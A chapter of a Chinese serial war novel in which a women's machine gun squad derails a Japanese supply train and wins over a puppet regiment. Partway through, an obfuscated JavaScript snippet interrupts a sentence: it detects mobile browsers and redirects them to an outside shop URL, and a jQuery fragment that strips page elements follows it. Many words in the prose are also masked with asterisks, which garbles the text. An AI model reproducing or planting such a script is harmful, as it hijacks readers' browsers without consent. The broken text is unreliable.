第17章 炸火车截军粮物资 救百姓义释伪军团

作品:《女子重机枪决死队

    诗曰:


    铁龙突遇惊雷炸,烈焰横飞覆寇车。


    **怒扫千山震,粮草盈仓万械赊。


    伪军倒戈归义帜,羚羊筑垒固戎家。


    双峰犄角狼烟靖,巾帼扬威气自华。


    且说这滨洲铁路像一条锈迹斑斑的铁蛇,钻进大兴安岭的腹地。兴安岭隧道口藏在两座陡峭的山壁间,洞口的岩石被火车废气熏得发黑,铁轨延伸进黑暗里,像巨兽张开的喉咙。王若溪蹲在隧道上方的灌木丛中,手里捏着引爆器的拉环,指节因用力而发白。她身后,二十多个爆破小队的姐妹正往岩壁的缝隙里填塞**,**像一条条毒蛇,蜿蜒着通向隐蔽的掩体。


    “还有半个时辰。”周玉涵看了眼怀表,表盖内侧贴着丈夫的照片,边角已被磨得发白,“情报说,这列火车挂了十二节车厢,前三节是**,后九节全是粮食,押运的是日军一个中队,还有一个伪军团在后面十里地接应。”


    溪月趴在另一侧的山梁上,十挺重**架在临时挖好的掩体里,枪口对准隧道出口的铁轨。她调试着瞄准镜,十字准星牢牢锁在铁轨衔接处:“王姐,等火车头钻进隧道,车厢刚过一半就炸,让它卡在里面,前不着村后不着店。”


    王若溪点头:“放心,保证让它有来无回。”


    风从隧道口灌出来,带着铁锈和煤烟的味道。远处传来“呜呜”的汽笛声,像巨兽的嘶吼,越来越近。姐妹们立刻伏低身体,拉环握在手心,重**的保险栓被悄悄拉开,空气中弥漫着紧张的气息。


    “来了!”有人低喊。


    一列墨绿色的火车头拖着长长的车厢,轰隆隆地驶过来,烟囱里喷出的黑烟在山壁间缭绕。火车头刚钻进隧道,后面的车厢正一节节跟进,铁轨发出“哐当哐当”的巨响,震得山壁都在微微发颤。


    “就是现在!”王若溪猛地拽下拉环!


    “轰隆——!”


    震耳欲聋的**声在山谷里回荡,隧道口的岩壁轰然坍塌,碎石和泥土像瀑布般倾泻而下,瞬间堵**出口。火车头在隧道里撞上山崩的岩石,发出刺耳的金属撕裂声,后面的车厢失去牵引,猛地往前一冲,脱轨的车轮在铁轨上摩擦出刺眼的火花,整列火车像条被斩断的蛇,在隧道口外扭成一团,车厢相互碰撞、倾覆,粮袋和**箱从破裂的车厢里滚出来,散落一地。


    “打!”溪月的吼声裹挟着**的轰鸣炸开,震得崖壁簌簌落雪。


    十挺重**骤然吐出火舌,“哒哒哒——”的扫射声掀翻了整片山谷,密集的**像暴雨般朝着倾覆的车厢倾泻而去!押运的日军被这突如其来的伏击打懵了,刚从撞碎的车窗里惨叫着爬出来,就被扫得血肉横飞,滚烫的**穿透身体,溅起的鲜血喷在散落的粮袋上,红白交织,刺得人眼睛生疼。


    “抢占车厢,不留活口!”燕飞羽的声音像鞭炮炸响,带着不容置疑的狠劲。她带着张二妹的**大队和赵玉兰的**大队,像两道裹挟着杀气的洪流,从两侧山坡上俯冲而下,雪亮的刺刀在雪光里闪着寒芒,直扑脱轨的火车。


    日军中队长是个矮胖的鬼子,捂着汩汩流血的额头,嘶声狂吼着挥舞指挥刀,妄图收拢残兵组织抵抗。他刚把几挺轻**狼狈地架在翻倒的车厢上,李小燕的**就精准地响了——“砰!”一颗**破空而来,径直穿透他的喉咙!指挥刀“哐当”一声砸在铁轨上,那鬼子捂着脖子,喉咙里发出嗬嗬的漏风声,瞪着充血的眼睛,直挺挺地栽倒在雪地里。


    没了指挥的日军瞬间成了一盘散沙!有的缩在车厢后盲目地扫射,**打在铁皮上叮叮当当乱响;有的慌不择路想往隧道里钻,却被坍塌的碎石堵在洞口,挤成一团乱哄哄的蝼蚁。溪月的重**牢牢锁死制高点,枪口追着日军的身影疯狂移动,**像索命的毒蛇,哪里有动静就往哪里钻!车厢的铁皮被打得千疮百孔,弹孔密密麻麻得像筛子,躲在后面的日军被打得哭爹喊娘,鲜血顺着弹孔往外涌,染红了厚厚的积雪。


    一个日军小队狗急跳墙,想从侧面的山坡突围。他们刚猫着腰爬上半坡,王若溪埋下的**就轰然炸响!“轰隆——”一声巨响,火光冲天而起,碎石和断肢混着雪块漫天飞溅,冲在最前面的几个鬼子当场被炸得粉身碎骨。剩下的吓得魂飞魄散,连滚带爬地摔回铁轨旁,抱着脑袋瑟瑟发抖,再也不敢动弹分毫。张二妹带着**大队冲到车厢旁,对着里面的日军扣下**,火舌吞吐间,她的怒骂声和**搅在一起:“狗汉奸的粮食,也敢往鬼子窝里送!今天就让你们把命留下!”


    就在这时,一节闷罐车厢的铁门突然被撞开,十几个日军端着上了刺刀的**疯了似的冲出来,嘴里喊着“玉碎”的口号,朝着张二妹的队伍扑来。张二妹眼疾手快,一把推开身边的姐妹,自己端着**迎上去,“哒哒哒”一梭子扫过去,冲在最前的几个日军应声倒地。后面的日军却不管不顾,踩着同伴的尸体往前冲,刺刀的寒光直逼眼前。


    危急关头,赵玉兰的**大队及时赶到,一排排枪口喷出火光,日军像割麦子似的倒下一片。剩下的几个日军还想负隅顽抗,却被姐妹们团团围住,刺刀捅进胸膛的闷响和惨叫声此起彼伏。溪月在制高点看得清楚,抬手一梭子**扫向最后一个想逃跑的日军,那鬼子腿上中弹,摔在雪地里哀嚎,很快被冲上来的姐妹俘虏。


    战斗结束得干脆利落,雪地上躺满了日军的尸体,车厢里的粮食一袋袋露出来,黄澄澄的麦粒在雪光下闪着诱人的光。燕飞羽踩着积雪走过来,看着满地的战利品,嘴角扬起一抹冷冽的笑:“这些粮食,够咱们女儿寨撑过整个冬天了!”


    战斗持续了一个时辰,押运的日军中队被全歼,没留一个活口。姐妹们开始搬运物资,粮食被装进麻袋,扛上早已等候在林间的马车;**箱被撬开,步话机、**、**、**被分门别类,由李三妹带着人清点登记。溪月坐在重**旁,看着姐妹们忙碌的身影,嘴角刚露出点笑意,就听到远处传来密集的**。


    “是伪军!”瞭望的姐妹大喊,“来了一个团,正向这边靠拢!”


    燕飞羽立刻下令:“溪月,重**守住山坡!张二妹,带**大队抢占左侧的岩石堆!赵玉兰,**手散开,形成包围圈!王若溪,准备**,别让他们跑了!”


    三百多个伪军端着枪,气势汹汹地冲过来,看到铁轨旁的惨状,吓得放慢了脚步。带队的伪军团长孙德顺是个精瘦的汉子,穿着不合身的军装,帽檐压得很低,看到被围在中间,顿时慌了神,扯着嗓子喊:“弟兄们,跟她们拼了!皇军不会亏待咱们的!”


    “拼**头!”张二妹从岩石后探出头,**扫出一梭子**,打在伪军脚前的地上,“你们忘了家里的爹娘老婆孩子?忘了鬼子是怎么糟蹋咱家乡的?”


    伪军们面面相觑,手里的枪有些握不住了。他们大多是被抓壮丁来的,家里都有牵挂,跟着鬼子打仗本就不情愿。


    燕飞羽站起身,手里举着缴获的日军军旗,声音清亮:“伪军弟兄们,我们要抗日决死队,你们也是中国人!看看这满地的粮食,都是从咱老百姓手里抢的!看看这些**,都是鬼子用来杀咱中国人的!你们还要帮着鬼子作恶吗?”


    伪军团长孙德顺还想吆喝,却被身边的一个伪军拽了拽衣角。那伪军是个年轻小伙,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960634|193283||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼里含着泪:“团长,俺娘还在家等着俺呢,俺不想再打自己人了。”


    “对,俺也不想打了!”


    “这日子没法过了,不如跟她们干!”


    伪军里响起一片议论声,越来越多的人放下了枪。孙德顺看着涣散的队伍,叹了口气,把枪往地上一扔:“罢了罢了,老子也受够了鬼子的气!弟兄们,想回家的,我不拦着;想留下跟鬼子干的,就跟我一起,投奔决死队!”


    “好!”三百多个伪军齐声应和,声音里带着压抑已久的愤怒。


    燕飞羽笑着走过去,握住伪军团长孙德顺的手:“兄弟,欢迎归队!”


    清理完战场,车队浩浩荡荡地往回走。燕飞羽看着缴获的十二车粮食和**,心里有了新主意:“玉涵姐,你看羚羊山怎么样?”


    周玉涵展开地图,指着野猪岭南侧的一处山地:“羚羊山三面是绝壁,只有一面是缓坡,跟野猪岭遥遥相望,正好形成掎角之势。”


    “就去羚羊山。”燕飞羽拍板,“伪军改编为先锋队,孙德顺任队长,让先锋队驻守在那里,刘春花,你带工程大队过去,把那里也建成要塞,修工事,挖战壕,架**,跟野猪岭相互照应。”


    接下来的一个月,羚羊山热闹起来。伪军弟兄们脱下黄皮军装,换上灰布短褂,在孙德顺带领下跟着决死队的姐妹一起干活。他们在缓坡上挖了三道战壕,每道战壕都连着猫耳洞;在绝壁上凿出重**阵地,枪口对着山下的通路;还在山坳里盖了营房和仓库,把缴获的粮食和**分了一半存放在那里。


    刘春花带着人,从半山腰往中间掏,准备掏空整座山体,把羚羊山也修成野猪岭一样的要塞。同时用水泥和石头在缓坡顶端筑了道胸墙,上面留着射击孔,能同时架起十挺重**;王若溪则在山脚下埋了连环雷,只要有人踏上触发线,就能炸掉半面山坡。


    溪月抽空去了趟羚羊山,看着昔日的伪军弟兄们在训练场上练刺杀,动作虽然生疏,却很认真。伪军团长孙德顺正跟着张二妹学**射击,打得满脸是汗,却笑得合不拢嘴。


    “这里不错。”溪月站在羚羊山的顶端,望着对面的野猪岭,两座山之间的山谷像条银带,“以后鬼子来犯,这边枪响,那边就能增援,谁也别想轻易过去。”


    燕飞羽走到她身边,手里拿着刚画好的联防图:“等秋收了,咱们再在两座山之间修条秘密通道,用绳索和滑轮,消息传递能更快。”


    夕阳西下,把羚羊山和野猪岭都染成了金色。重**的**在余晖里闪着光,像忠诚的卫士,守护着这片来之不易的安宁。火车劫案的消息很快传开,越来越多的人知道,大兴安岭里有一支女子队伍,不仅能打鬼子,还能收纳真心悔改的中国人。


    夜里,羚羊山的营房里亮起了油灯,伪军弟兄们围着周玉涵学认字,她教他们写“中国”“同胞”“抗日”,笔尖划过纸页的声音,在寂静的山谷里格外清晰。而野猪岭的溶洞里,溪月正带着重**大队的姐妹擦拭武器,枪身的反光映在她们脸上,眼里闪烁着对未来的希望。


    她们知道,和平还很遥远,甘尼大佐的报复随时可能到来。但只要羚羊山和野猪岭像两颗钉子,牢牢扎在大兴安岭里,只要重**还在,姐妹同心,弟兄协力,就没有跨不过的坎,没有打不赢的仗。


    风穿过山谷,带着粮食的清香和**的硝烟味,像是在诉说着一个关于抗争与团结的故事,在大兴安岭的夜空里久久回荡。


    这正是:


    隧口惊雷碎骨焚身歼日寇


    山头亮剑同仇敌忾筑长城


    欲知后事如何,且看下集分解。